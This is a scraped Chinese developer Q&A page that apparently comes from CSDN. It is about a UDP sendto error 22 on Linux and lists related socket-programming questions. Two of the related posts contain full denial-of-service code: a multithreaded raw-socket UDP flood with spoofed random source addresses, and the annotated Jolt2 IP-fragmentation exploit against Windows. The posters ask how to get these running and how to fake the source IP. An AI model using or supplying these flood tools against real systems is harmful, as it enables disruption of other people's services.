Linux socket udp发送数据返回socket错误22

linux下用c网络编程用sendto发送数据,总返回socket error代号22是什么错误呢?

1个回答

Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
其他相关推荐
学习socket raw写一个发送,想测试一下src/des ip都填了127.0.0.1 但是sendto失败了,ip问题吗该怎么填呢
学习socket raw写一个发送,想测试一下src/des ip都填了127.0.0.1 但是sendto失败了,ip问题吗该怎么填呢? 错误是:sendto: Invalid argument sendto() error! -1/ 部分代码如下:还是哪里写的不对。。 /********************************************************************************************************* ** Function:iphdr_fill ** Description: ip header fill data *********************************************************************************************************/ void iphdr_fill(struct ip_hdr *iphdr , char *buff) { iphdr->ip_length = 5; iphdr->ip_version= 4; iphdr->ip_tos = 0; //printf("buff 0 %s OK\n",buff); iphdr->ip_total_length = htons(sizeof(buff)); //printf("buff 1 %s OK\n",buff); iphdr->ip_id = 0; iphdr->ip_flags = 0x40; iphdr->ip_ttl = 0x40; iphdr->ip_protocol = 0x11; iphdr->ip_cksum = 0; iphdr->ip_source = inet_addr("127.0.0.1"); iphdr->ip_dest = inet_addr("127.0.0.1"); iphdr->ip_cksum = hdr_cksum((unsigned short*)buff, 20); } /********************************************************************************************************* ** Function:udphdr_fill ** Description: udp header fill data *********************************************************************************************************/ void udphdr_fill(struct udp_hdr *udphdr, char *buff) { udphdr->udp_sport = htons(SRC_PORT); udphdr->udp_dport = htons(DEST_PORT); udphdr->udp_ulength = htons(sizeof(buff)-20); udphdr->udp_chksum = 0; } /********************************************************************************************************* ** Function:send_msg ** Description: send msg data *********************************************************************************************************/ void send_msg(int fd, struct sockaddr_in *host_addr) { char buff[BUFSIZE]; memset(buff, 'a', sizeof(buff) - 1); while(1) { ip_hdr *iphdr; iphdr = (ip_hdr*)buff; //printf("buff 3 %s OK\n",buff); iphdr_fill(iphdr,buff); udp_hdr *udphdr; udphdr = (udp_hdr*)(buff+20); udphdr_fill(udphdr,buff); psd_hdr psd; psd.psd_src = iphdr->ip_source; psd.psd_dest = iphdr->ip_dest; psd.psd_memzero = 0; psd.psd_proto = 0x11; psd.psd_vlength = udphdr->udp_ulength; char tmp[sizeof(psd)+ntohs(udphdr->udp_ulength)]; memcpy(tmp, &psd, sizeof(psd)); memcpy(tmp+sizeof(psd), buff+20, sizeof(buff)-20); udphdr->udp_chksum = hdr_cksum((unsigned short*)tmp, sizeof(tmp)); int res =sendto(fd, buff, sizeof(buff), 0, (struct sockaddr*)&host_addr, sizeof(host_addr)); if(res<0) { perror("sendto"); printf("sendto() error! %d/n",res); } printf("send %s OK\n",buff); sleep(1); } } /********************************************************************************************************* ** Function:main ** Description:main *********************************************************************************************************/ int main(int argc, char *argv[]) { int sockfd; int flag = 1; struct sockaddr_in host_addr; if((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP))<0) { printf("socket() error!/n"); exit(1); } memset(&host_addr, 0, sizeof(host_addr)); host_addr.sin_family = AF_INET; host_addr.sin_port = htons(DEST_PORT); host_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, (void *)&flag, sizeof(flag))<0) { printf("setsockopt() error!/n"); exit(0); } send_msg(sockfd, &host_addr); }
linux c写了一个UDP服务器,然后通过网络助手做作为客户端,UDP无法接收到数据
#include <sys/types.h> #include <sys/socket.h> #include<pthread.h> #include <netinet/in.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #include<arpa/inet.h> //#include<cstdlib.h> char* PORT="5588"; //server's port char* SOCKET_SERVER_IP="192.168.1.105"; // int main() { printf("Welcome! This is a UDP server, I can only received message from client and reply with same message\n"); struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_port = htons(atoi(PORT)); addr.sin_addr.s_addr = htonl(INADDR_ANY); int sock; if ( (sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { perror("socket"); exit(1); } //port bind to server if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("bind"); exit(1); } char buff[512]; struct sockaddr_in clientAddr; memset(&clientAddr,0,sizeof(clientAddr)); size_t n; socklen_t len = sizeof(clientAddr); while (1) { n = recvfrom(sock, buff, 511, 0, (struct sockaddr*)&clientAddr, &len); if (n>0) { buff[n] = 0; printf("%s %u says: %s\n", inet_ntoa(clientAddr.sin_addr), ntohs(clientAddr.sin_port), buff); n = sendto(sock, buff, n, 0, (struct sockaddr *)&clientAddr, sizeof(clientAddr)); if (n < 0) { perror("sendto"); break; } } else { perror("recv"); break; } } return 0; } 然后网络助手设置如下,防火墙那些都关闭了。![图片说明](https://img-ask.csdn.net/upload/201911/22/1574436191_472978.png)![图片说明](https://img-ask.csdn.net/upload/201911/22/1574436199_451099.png)![图片说明](https://img-ask.csdn.net/upload/201911/22/1574436203_191706.png) 很奇怪,为何服务器会收不到网络助手发的数据,求解啊。卡了2天了
关于在Linux上使用套接字Socket发送一个较大UDP包的问题?
本人是菜鸟,参考了https://blog.csdn.net/tennysonsky/article/details/44925057 在Linux上编写了一个套接字发送UDP包的代码,目的是使用无线网卡,把一个较大的字符串数组写入UDP负载Payload中发送,但是在终端运行时提示sendto: Message too long。但是我所发送的数组长度是远小于64kb的,为什么还会出现数据太长的提示呢?要如何发送呢? 经过测试发现发送数组长度接近1500时就会提示sendto: Message too long,希望各路大神帮帮忙。如我想发送一个数组char send_msg[14800]={1,2,3......,14799}。要怎么编写代码呢?
linux udp协议 FPGA连接
目前程序运行在LINUX系统上,与别的产品交联,我这边就是标准的udp接收数据的程序 socket打开,配置端口和协议,bind后recv数据,我的IP是192.168.0.2, 对方的IP是192.168.0.3 对方先上电,我的后上电udp收不到他发送的数据,但是他重启或者(我crtl+c退出然后,ping一下他)在运行程序就能通了。。。。对方说我这边要用C语言做一遍ARP协议的ping操作,然后就能通信了。。。。有没有linux网络的大神教教我啊。。。。O(∩_∩)O谢谢
Linux下socket通信函数原型玄机?(UDP)
编写UDP通讯的程序时发现: ssize_t sendto(int sockfd, const void *buf, size_t len, int flags,const struct sockaddr *dest_addr, socklen_t addrlen); ssize_t recvfrom(int sockfd, void *buf, size_t len, int flags,struct sockaddr *src_addr, socklen_t *addrlen); 两个相关的函数,一收一发,为毛线最后一个参数同为sockaddr的socklen_t类型,一个要传递变量,一个要传递变量指针进去?为何不统一呢?其中有何玄机?
linux,c,socket,udp文件传输
client端接收数据时,buffer中数据存在,但是在fwrite写入的时候数据丢失了,请问有什么原因可能导致这个问题(丢失的部分都是在整个文件的最后部分)
UDP通信中服务端接受数据计算数据包个数
UDP通信中客户端通过多线程发送数据,服务端单线程接受数据,出现的“丢包”(我在服务端计算出来的包个数)现象很严重,通过wireshark抓包发现没有任何数据包丢失,菜鸟求解答。代码如下: /*基于LINUX的udp的通信,服务器端*/ #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> char buf[1024 * 32] = {0}; int main(int argc, char *argv[]) { if (argc < 2) { printf("Please Input Recv Port\n"); return 1; } int sockfd = 0; int recv_num = 0; int recv_count = 0; int client_len = 0; volatile unsigned long res = 0;//接收数据的总大小 int len_recv_buffer = 1024 * 32; FILE *fp; char buffer[1024*320] = {0}; struct sockaddr_in addr; //1、创建socket sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd == -1) { printf("Create Socket Error\n"); return -1; } //2、准备地址 addr.sin_family = AF_INET; addr.sin_port = htons(atoi(argv[1])); addr.sin_addr.s_addr = inet_addr("192.168.17.95"); client_len = sizeof(struct sockaddr_in); //3、绑定 if (bind(sockfd, (struct sockaddr*)&addr, sizeof(struct sockaddr_in)) == -1) { printf("Bind Error\n"); return 0; } //4、接收客户端发送来的数据 time_t t_old = time(NULL); time_t t_now = t_old; time_t _old = time(NULL); time_t _now = 0; time_t _interval = 0; if ((fp = fopen("recv.txt", "a+")) == NULL) { printf("Open File Error\n"); return 1; } int nRecv = 0; setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (const char*)&nRecv, sizeof(nRecv)); while(1) { memset(buf, 0 , sizeof(buf)); recv_num = recvfrom(sockfd, buf, sizeof(buf), MSG_CTRUNC, (struct sockaddr*)&addr, &client_len); if (recv_num <= 0) { printf("Recv Data Error\n"); continue; } ++recv_count; res += recv_num; t_now = time(NULL); _now = time(NULL); _interval = _now - _old; // if (t_now - t_old >= 1) { // printf("recv_num= %d\n", recv_num); sprintf(buffer, "接受数据总大小:res = %lu kbytes, 数据包个数:%d 接受时间:%d s\n", res/1024, recv_count, _interval); if ((fputs(buffer,fp)) == 0) { printf("Fwrite Error\n"); return 1; } fflush(fp); printf("接收数据总大:res = %lu kbytes, 数据包个数:%d 接受时间:%d s\n", res / 1024, recv_count, _interval); t_old = t_now; } } free(fp); fp = NULL; return 0; }
udp洪水攻击照着别人的视频敲了以后出现transport endpoint is not connected和 Invalid argument怎么解决这个问题?
```#include<stdio.h> #include<stdlib.h> #include<string.h> #include<sys/types.h> #include<sys/socket.h> #include<netinet/in.h> #include<netinet/ip.h> #include<netinet/udp.h> #include<arpa/inet.h> #include<signal.h> #include<pthread.h> #include<unistd.h> #define MAX 10240 int sockfd=-1; int flag=1; int send_udp_dos(int connfd,struct sockaddr_in *paddr); void handler(int signo) { printf("捕捉到信号:%d\n",signo); flag=0; } void *fun(void *arg) { struct sockaddr_in *addr=arg; while(flag) { send_udp_dos(sockfd,addr); } pthread_exit(NULL); } //计算16位UDP校验和 unsigned short checksum(unsigned char *buf, int len) { unsigned int sum = 0; unsigned short *cbuf; cbuf = (unsigned short *)buf; while(len > 1) { sum += *cbuf++; len -= 2; //剩余尚未累加的16比特的个数 } if(len) //若len的长度不是偶数 sum += *(unsigned char *)cbuf; //用最后一个字节补齐 //防溢出处理 sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return ~sum; } //组织UDP数据包 int send_udp_dos(int connfd, struct sockaddr_in *paddr) { int len = 0; int ret = -1; char *packet = NULL; char *data = NULL; struct ip *ipheader = NULL; struct udphdr *udpheader = NULL; //分配空间 IP首 部 + UDP首部 + 数据(64) len = sizeof(struct ip) + sizeof(struct udphdr) + 64; packet = malloc(len); if (NULL == packet) { printf("malloc failed...\n"); return 1; } //内存清零 memset(packet, 0, len); //第一部分: IP首部 ipheader = (struct ip*)packet; //第二部分: UDP首部 udpheader = (struct udphdr*)(packet + sizeof(struct ip)); //第三部分:数据 data = packet + sizeof(struct ip) + sizeof(struct udphdr); //封装IP协议 //协议的版本 IPv4 ipheader->ip_v = 4; //首部长度 20字节 20 / 4 = 5 ipheader->ip_hl = 5; //区分服务 暂时没有使用 ipheader->ip_tos = 0; //总长度 转化为网路序 ipheader->ip_len = htons(len); //标识 随机 ipheader->ip_id = random() % 1024; //标志 + 片偏移 ipheader->ip_off = 0; //生存时间 随机指定64 ipheader->ip_ttl = 64; //协议 ipheader->ip_p = IPPROTO_UDP; //首部校验和 暂时填写0 ipheader->ip_sum = 0; ipheader->ip_sum = checksum((unsigned char *)ipheader, sizeof(struct ip)); //随机源地址 ipheader->ip_src.s_addr = random() % 1000; //目的地址 参数paddr传递进来的 ipheader->ip_dst = paddr->sin_addr; //封装UDP协议 //随机端口 保证每一次发送数据端口不一样 udpheader->uh_sport = 1024 + random() % 100; //目的端口 udpheader->uh_dport = paddr->sin_port; //长度 UDP首部 + 数据 udpheader->uh_ulen = htons(sizeof(struct udphdr) + 64); //校验和 udpheader->uh_sum = 0; udpheader->uh_sum = checksum((unsigned char *)udpheader, sizeof(struct udphdr) + 64); //填充数据 strcpy(data, "B17070316"); //发送数据 (vim) //第一个参数: 套接字 //第二个参数: 发送数据 //第三个参数: 发送数据长度 //第四个参数: 标志 //第五个参数: 服务端addr结构 //第六个参数: sizeof(struct sockaddr_in) ret = sendto(connfd, packet, len, 0, (void*)paddr, sizeof(struct sockaddr_in)); if (ret <= 0) { perror("sendto"); return -1; } printf("ret: %d\n", ret); //释放内存 free(packet); } //UDP洪水攻击 int main(int argc, char **argv) { int i = 0; int ret = -1; int on = -1; //保存线程tid 线程号 pthread_t tid[MAX]; //填写服务端信息 struct sockaddr_in addr; //0. 参数检查 //argv[0] 可执行文件 //argv[1]: IP //argv[2]: 端口 if (3 != argc) { printf("usaage: ./a.out IP port\n"); return 1; } //注册信号 软件中断 //第一个参数: 信号编号 SIGINT Ctrl + C 产生 //第二个参数: 信号处理函数 用户按下Ctrl + C 就会调用回调函数handler signal(SIGINT, handler); //1. 创建套接字 UDP sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP); if (-1 == sockfd) { //输出出错原因 perror("socket"); return 1; } printf("sockfd = %d\n", sockfd); //设置自己封装IP on = 1; //表示使能 ret = setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)); if (-1 == ret) { perror("setsockopt"); return -1; } //2. 初始化结构体 //服务端IP + 服务端端口 //man 7 ip memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; //ipv4 //将字符串转化为int类型 "123"--> 123 addr.sin_port = htons(atoi(argv[2])); //填充IP 192.168.12.88 //字符串IP转化为大端模式的IP inet_pton(AF_INET, argv[1], (void*)&addr.sin_addr); printf("攻击的服务器IP: %s 端口: %s\n", argv[1], argv[2]); #if 1 //循环创建线程 for (i = 0; i < MAX; i++) { //第一个参数:传出线程号 //第二个参数:线程属性 默认即可 NULL: //第三个参数:线程处理函数 线程启动之后执行函数 //第四个参数:传递给线程处理函数的参数 pthread_create(&tid[i], NULL, fun, (void*)&addr); } //等待所有的线程退出 for (i = 0; i < MAX; i++) { //第一个参数: 线程ID //第二个参数: 传出线程退出状态 pthread_join(tid[i], NULL); } #else //3. 循环发送数据 while(1) { send_udp_dos(sockfd, &addr); } #endif //4. 关闭文件描述符 close(sockfd); return 0; } ``` ``` ```
Linux平台C语言关于UDP广播的问题。
首先,我写了一个非常简单的UDP服务端,我看了看,是IP地址写的问题,(下面详细代码), 当我有inet_addr("192.168.152.128")的时候,是不能成功收到信息的,但我用 htonl(INADDR_ANY)的时候,却是可以收到信息,为什么?(我的客户端是用广播地址:192.168.152.255) ``` #include"myhead.h" char rbuf[50]; char wbuf[50]; int main() { int udp,size,len,opt=1; struct sockaddr_in laddr; struct sockaddr_in raddr; laddr.sin_family = AF_INET; laddr.sin_port = htons(8888); laddr.sin_addr.s_addr = inet_addr("192.168.152.128");//疑惑在这里 size = sizeof(struct sockaddr_in); udp = socket(AF_INET,SOCK_DGRAM,0); setsockopt(udp,SOL_SOCKET,SO_REUSEADDR,&opt,sizeof opt); bind(udp,(struct sockaddr*)&laddr,size); len=sizeof(struct sockaddr); while(1) { recvfrom(udp,rbuf,50,0,(struct sockaddr*)&raddr,&len); printf("%s\n",rbuf); bzero(rbuf,50); } } ```
android写了一个发送UDP包到指定IP-端口的程序,可怎么都收不到数据包。。。
这段代码在电脑上用JAVA编译运行,在linux虚拟机上用pcap可以抓到包。。如下图: ![图片说明](https://img-ask.csdn.net/upload/201608/04/1470312244_99336.png) 在linux上可以抓到该数据包: ![图片说明](https://img-ask.csdn.net/upload/201608/04/1470312484_296967.png) 然后再在andiord studio里实现并生成apk安装到手机上,但点击send没有反应啊,linux上没有收到任何数据包。。为什么会这样呢? ``` package com.test.s.test; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.view.View; import android.widget.Button; import android.widget.Toast; import java.io.IOException; import java.net.DatagramPacket; import java.net.DatagramSocket; import java.net.InetAddress; public class MainActivity extends AppCompatActivity { private Button buttonSend; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); buttonSend = (Button) findViewById(R.id.buttonSend); buttonSend.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Toast.makeText(getApplicationContext(), "Sent00!", Toast.LENGTH_SHORT).show(); new Thread(){ @Override public void run() { try { txUDP("192.168.1.102", 8888, "abcdefg"); } catch (IOException e) { e.printStackTrace(); } } }.start(); } }); } private void txUDP(String destip, int port, String txdata) throws IOException { InetAddress address = InetAddress.getByName(destip); byte[] data = txdata.getBytes(); // 2.创建数据报,包含发送的数据信息 DatagramPacket packet = new DatagramPacket(data, data.length, address, port); // 3.创建DatagramSocket对象 DatagramSocket socket = new DatagramSocket(); // 4.向服务器端发送数据报 socket.send(packet); // 5.关闭资源 socket.close(); } } ``` 求解答啊,手机、电脑和linux在同一局域网。
windows下udp通信,我想传输int型数据数组,而不是char字符数组,怎么传输啊?
似乎sendto函数和recvfrom函数在windows下只能传输char数据或数组,对于int数据或是其他类型数据或结构体都不能传输,这个问题怎么解决啊?我想传输int型数组啊。。 ​linux下可是什么类型都能传输啊。。。 下面是发送函数sendto和接受函数recvfrom的定义: C++系统声明 int PASCAL FAR sendto ( IN SOCKET s, IN const char FAR * buf, IN int len, IN int flags, IN const struct sockaddr FAR *to, IN int tolen); recvfrom函数(经socket接收数据): 函数原型:ssize_t recvfrom(int sockfd,void *buf,int len,unsigned int flags, struct sockaddr *from,socket_t *fromlen); 求大神赐教,弄了一周也没弄出个好的方法。。
在Linux下用c语言编写,用UDP和TCP两种方式
用UDP和TCP两种方式,编写C/S结构程序,能上传下载暂停续传文件,客户端能显示进度,能随时终止上传下载,要求传输速度尽可能快、控制和传输独立线程处理 目的:熟悉阻塞和非阻塞SOCKET编程,熟悉如何安全使用线程,如何同步和互斥
linux udp通信不成功,server收不到消息
仅仅是一个 示例,可是先执行server 后执行 client ,server还是没有收到消息。问题出在哪里呢 Server.c #include "server.h" #define PORT 2345 #define IP "192.168.0.114" int main (void) { int fd; struct sockaddr_in servaddr, cliaddr; char buf[BUFFER_SIZE]; socklen_t peerlen; //建立socket连接 fd = socket(AF_INET, SOCK_DGRAM, 0); if(fd == -1) { printf("fd error!\n"); return -1; } //设置sockaddr_in参数 bzero(&servaddr, sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_port = htons(PORT); servaddr.sin_addr.s_addr = inet_addr(IP); //绑定 bind(fd, (struct sockaddr *)&servaddr, sizeof(servaddr)); if(bind < 0) { printf("bind error~!\n"); return -1; } //调用recvfroom,等待接收客户端数据 peerlen = sizeof(cliaddr); while(1) { printf("Begin recv!\n"); recvfrom(fd, buf, sizeof(buf), 0, (struct sockaddr *)&cliaddr ,&peerlen); printf("recv form client %s \n", buf); strcpy(buf, "Welcome to server"); sendto(fd, &buf, sizeof(buf), 0, (struct sockaddr *)&cliaddr ,peerlen); } close(fd); return 0; } client.c: #include "client.h" #define PORT 2345 #define IP "192.168.0.114" int main (void) { int fd; struct sockaddr_in servaddr; char buf[BUFFER_SIZE] = "Hello Server!"; //建立socket连接 fd = socket(AF_INET, SOCK_DGRAM, 0); if(fd == -1) { printf("fd error \n"); exit(-1); } //设置sockaddr_in参数 bzero(&servaddr, sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_port = htons(PORT); servaddr.sin_addr.s_addr = inet_addr(IP); //向服务器发送消息 sendto(fd, buf, sizeof(buf), 0 ,(struct sockaddr *)&servaddr,sizeof(servaddr)); printf("Send message to Sever!\n"); //接收服务器消息 printf("Begin recv!\n"); recvfrom(fd, buf, sizeof(buf), 0 ,NULL ,NULL); if(recvfrom < 0) { printf("recv error!\n"); return 1; } printf("recv from Server %s \n", buf); close(fd); return 0; }
关于UDP flood 攻击程序的问题
**下面是非常经典的jolt2 UDP FLOOD 代码,照着书给加了注释,在LINUX下可以运行,但是不知道该输入什么执行命令,求教。另外这个程序貌似不能伪造攻击者IP?求问 OvO ...** /* Jolt2.c - Tested against Win98, WinNT4/sp5,6, Win2K. An interesting side note is that minor changes to this packet cause NT4/Win2k (maybe others, not tested) memory use to jump *substantially* (+70 meg non-paged-pool on a machine with 196 mb phys). There seems to be a hard upper limit, but on machines with smaller amounts of memory or smaller swapfiles, ramping up the non-paged-pool this much might lead to a BSOD. .phonix. */ /* * File: jolt2.c * Author: Phonix <phonix@moocow.org> * Date: 23-May-00 * * Description: This is the proof-of-concept code for the * Windows denial-of-serice attack described by * the Razor team (NTBugtraq, 19-May-00) * (MS00-029). This code causes cpu utilization * to go to 100%. * * Tested against: Win98; NT4/SP5,6; Win2K * * Written for: My Linux box. YMMV. Deal with it. * * Thanks: This is standard code. Ripped from lots of places. * Insert your name here if you think you wrote some of * it. It's a trivial exploit, so I won't take credit * for anything except putting this file together. */ #include <stdio.h> #include <string.h> #include <netdb.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <netinet/udp.h> #include <arpa/inet.h> #include <getopt.h> //定义数据包结构 struct _pkt { struct iphdr ip; union { struct icmphdr icmp; struct udphdr udp; } proto; char data; } pkt; //获取各种数据包长度 int icmplen = sizeof(struct icmphdr), udplen = sizeof(struct udphdr), iplen = sizeof(struct iphdr), spf_sck; //程序的正确用法提示 void usage(char *pname) { fprintf (stderr, "Usage: %s [-s src_addr] [-p port] dest_addr\n", pname); fprintf (stderr, "Note: UDP used if a port is specified, otherwise ICMP\n"); exit(0); } //主机名到IP地址的转换 u_long host_to_ip(char *host_name) { static u_long ip_bytes; struct hostent *res; res = gethostbyname(host_name); if (res == NULL) return (0); memcpy(&ip_bytes, res->h_addr, res->h_length); return (ip_bytes); } //出错退出处理 void quit(char *reason) { perror(reason); close(spf_sck); exit(-1); } //组装碎片数据包并发送 int do_frags (int sck, u_long src_addr, u_long dst_addr, int port) { int bs, psize; unsigned long x; struct sockaddr_in to; //填写地址信息 to.sin_family = AF_INET; to.sin_port = 1235; to.sin_addr.s_addr = dst_addr; if (port) psize = iplen + udplen + 1; else psize = iplen + icmplen + 1; //包长为29,因为只有一个字节的载荷数据 memset(&pkt, 0, psize); //给存放数据包内容的缓冲区清零 //填写数据包 pkt.ip.version = 4; //版本号 pkt.ip.ihl = 5; //包头长度为5个32bit,即20字节 pkt.ip.tot_len = htons(iplen + icmplen) + 40; pkt.ip.id = htons(0x455); //IP包的ID为1109=0x455,可以作为IDS检验的一个特征,只是这个值很容易改变 pkt.ip.ttl = 255; pkt.ip.protocol = (port ? IPPROTO_UDP : IPPROTO_ICMP);//如果指定了端口,则协议时ICMP,否则是UDP pkt.ip.saddr = src_addr; pkt.ip.daddr = dst_addr; pkt.ip.frag_off = htons (8190);//偏移8190,即0x1FFE if (port) //如果有端口参数,则构造UDP数据包 { pkt.proto.udp.source = htons(port|1235); //指定源端口为目的端口与1235的或运算结果 pkt.proto.udp.dest = htons(port); pkt.proto.udp.len = htons(9); pkt.data = 'a'; //UDP数据包中的载荷数据只有一个字节,即a,体现低数据率 } else { //若没有指定端口,则构造ICMP数据包 pkt.proto.icmp.type = ICMP_ECHO; pkt.proto.icmp.code = 0; pkt.proto.icmp.checksum = 0; //校验和为0 } //循环发送,死循环 while (1) { bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to, sizeof(struct sockaddr)); //在循环中不停地发送伪造数据包 } return bs; } //主程序 int main(int argc, char *argv[]) { u_long src_addr, dst_addr; int i, bs=1, port=0; char hostname[32]; if (argc < 2) //如果提供的参数数目不足,提示使用方法 usage (argv[0]); gethostname (hostname, 32); //获取本机地址 src_addr = host_to_ip(hostname); //将本机地址赋给原地址变量src_addr //解析参数 while ((i = getopt (argc, argv, "s:p:h")) != EOF) { switch (i) { case 's': //原地址,由于使用方法中原地址不是必需的,因此这里检测是否提供了原地址,若提供了,则赋给src_addr src_addr = host_to_ip(optarg); if (!src_addr) quit("Bad source address given."); //提示原地址错误,退出 break; case 'p': //端口号 port = atoi(optarg); if ((port <=0) || (port > 65535)) quit ("Invalid port number given."); //提示端口错误,退出 break; case 'h': //如果参数是h(help),则提示用法 default: usage (argv[0]); } } //主机IP地址转换,提取目标地址 dst_addr = host_to_ip(argv[argc-1]); if (!dst_addr) quit("Bad destination address given."); //创建socket spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (!spf_sck) quit("socket()"); //设置socket if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *)&bs, sizeof(bs)) < 0) //指定IP包头的信息由程序员自己填写 quit("IP_HDRINCL"); //实施碎片攻击 do_frags (spf_sck, src_addr, dst_addr, port);//发送分片数据包 }
部署kerberos在linux kinit 获取凭据出错
在redhat 6.3上部署kerbores,服务器和客户端部署在同一台机器上,服务器端开启 ``` service krb5kdc start service kadmin start ``` 服务在开启时日志报 kadmind : Invalid argument - Cannot request packet info for udp socket address :: port 464 krb5kdc : Invalid argument - Cannot request packet info for udp socket address :: port 464 继续打开sserver -p 9999 -s -test -S /etc/test.keytab 客户端使用 kinit -kt /etc/test.keytab test/way173@XXXX.COM 获取凭据时报 resource temporarily unavailable whiling getting initial credentials 错误 之前服务开启报的错误和这个有关系吗?kinit有没有详细日志报?如何排查这个错误?谢谢了
linux内核态socksdmg()疑问
static int log_send() {_ int ret = 0; mm_segment_t old_fs; old_fs = get_fs(); set_fs(KERNEL_DS); ret = sock_sendmsg(loginfo.sock, &loginfo.msgbuff, strlen(loginfo.buff)); set_fs(old_fs); return ret; } 代码如上。 我的问题是,通过sendmsg发送UDP报文为何要设置内存边界?如果不设置sock_sendmsg返回错误码 -14(bad address)
ruby在xp下接收udp消息延时
我在跨xp、linux两个平台使用ruby的UDPSocket通信时,遇到了如下问题: 在windows下运行如下代码接收消息: [code="ruby"] require 'socket' socket = UDPSocket.new socket.bind("1.2.3.4",12345) loop do msg, sender = socket.recvfrom(1024) host = sender[3] puts "#{Time.now}: #{host} '#{msg}'" end [/code] 在linux下运行最简单的c、ruby、python各种版本的发送字符串程序,windows下的接收端都会延时几秒以后才打印。 把windows下的接收端换成python或者c的版本以后,linux端一发送,windows端立马收到并打印。 请问有哪位知道原因吗?万分感谢。
不同端口号加入到同一组播地址,关闭套接字时为什么会有影响?
有两个设备,使用udp组播的方式进行通讯,服务器端建立了两个udp连接,端口号不同,但是加入的是同一组播地址。当我关闭其中一个udp套接字时,为什么会影响另一个udp的连接? ``` 线程a: int rtp_server_socket; struct sockaddr_in server_addr, client_addr; socklen_t clielen_addr_length; clielen_addr_length = sizeof(client_addr); ReSocket: report_succeed = 1; //struct tcp_info info; bzero(&server_addr, sizeof(server_addr)); server_addr.sin_family = AF_INET; server_addr.sin_port = htons(A_PORT); server_addr.sin_addr.s_addr=htonl(INADDR_ANY); //create a stream socket rtp_server_socket = socket(AF_INET, SOCK_DGRAM, 0); //UDP printf("Create Socket OK \n"); //bind bind(rtp_server_socket, (struct sockaddr*)&server_addr, sizeof(server_addr)) printf("bind socket ok \n"); //set Multicast loop int loop = 1; //1: on , 0: off setsockopt(rtp_server_socket,IPPROTO_IP,IP_MULTICAST_LOOP,&loop,sizeof(loop)); struct ip_mreq mreq; mreq.imr_multiaddr.s_addr = inet_addr(multicast); mreq.imr_interface.s_addr = htonl(INADDR_ANY); //add multicast group setsockopt(rtp_server_socket, IPPROTO_IP, IP_ADD_MEMBERSHIP, &mreq, sizeof(mreq)); int reuse = 1; setsockopt(rtp_server_socket, SOL_SOCKET, SO_REUSEADDR, (char *)&reuse, sizeof(reuse)); while (1) { Recv: if (0 == report_succeed) { close(rtp_server_socket); goto ReSocket; } recvfrom(rtp_server_socket, buf, BUFFER_SIZE, 0, (struct sockaddr_in *) &client_addr, &clielen_addr_length); ``` ``` 线程b和上面的一样只是绑定的端口不一样 ``` 当我关闭线程b的套接字时,线程a的recvfrom()函数会堵塞一会,没有数据接收,请问这是为什么?
相见恨晚的超实用网站
搞学习 知乎:www.zhihu.com 简答题:http://www.jiandati.com/ 网易公开课:https://open.163.com/ted/ 网易云课堂:https://study.163.com/ 中国大学MOOC:www.icourse163.org 网易云课堂:study.163.com 哔哩哔哩弹幕网:www.bilibili.com 我要自学网:www.51zxw
花了20分钟,给女朋友们写了一个web版群聊程序
参考博客 [1]https://www.byteslounge.com/tutorials/java-ee-html5-websocket-example
爬虫福利二 之 妹子图网MM批量下载
爬虫福利一:27报网MM批量下载    点击 看了本文,相信大家对爬虫一定会产生强烈的兴趣,激励自己去学习爬虫,在这里提前祝:大家学有所成! 目标网站:妹子图网 环境:Python3.x 相关第三方模块:requests、beautifulsoup4 Re:各位在测试时只需要将代码里的变量 path 指定为你当前系统要保存的路径,使用 python xxx.py 或IDE运行即可。
字节跳动视频编解码面经
引言 本文主要是记录一下面试字节跳动的经历。 三四月份投了字节跳动的实习(图形图像岗位),然后hr打电话过来问了一下会不会opengl,c++,shador,当时只会一点c++,其他两个都不会,也就直接被拒了。 七月初内推了字节跳动的提前批,因为内推没有具体的岗位,hr又打电话问要不要考虑一下图形图像岗,我说实习投过这个岗位不合适,不会opengl和shador,然后hr就说秋招更看重基础。我当时
Java学习的正确打开方式
在博主认为,对于入门级学习java的最佳学习方法莫过于视频+博客+书籍+总结,前三者博主将淋漓尽致地挥毫于这篇博客文章中,至于总结在于个人,实际上越到后面你会发现学习的最好方式就是阅读参考官方文档其次就是国内的书籍,博客次之,这又是一个层次了,这里暂时不提后面再谈。博主将为各位入门java保驾护航,各位只管冲鸭!!!上天是公平的,只要不辜负时间,时间自然不会辜负你。 何谓学习?博主所理解的学习,它
程序员必须掌握的核心算法有哪些?
由于我之前一直强调数据结构以及算法学习的重要性,所以就有一些读者经常问我,数据结构与算法应该要学习到哪个程度呢?,说实话,这个问题我不知道要怎么回答你,主要取决于你想学习到哪些程度,不过针对这个问题,我稍微总结一下我学过的算法知识点,以及我觉得值得学习的算法。这些算法与数据结构的学习大多数是零散的,并没有一本把他们全部覆盖的书籍。下面是我觉得值得学习的一些算法以及数据结构,当然,我也会整理一些看过
大学四年自学走来,这些私藏的实用工具/学习网站我贡献出来了
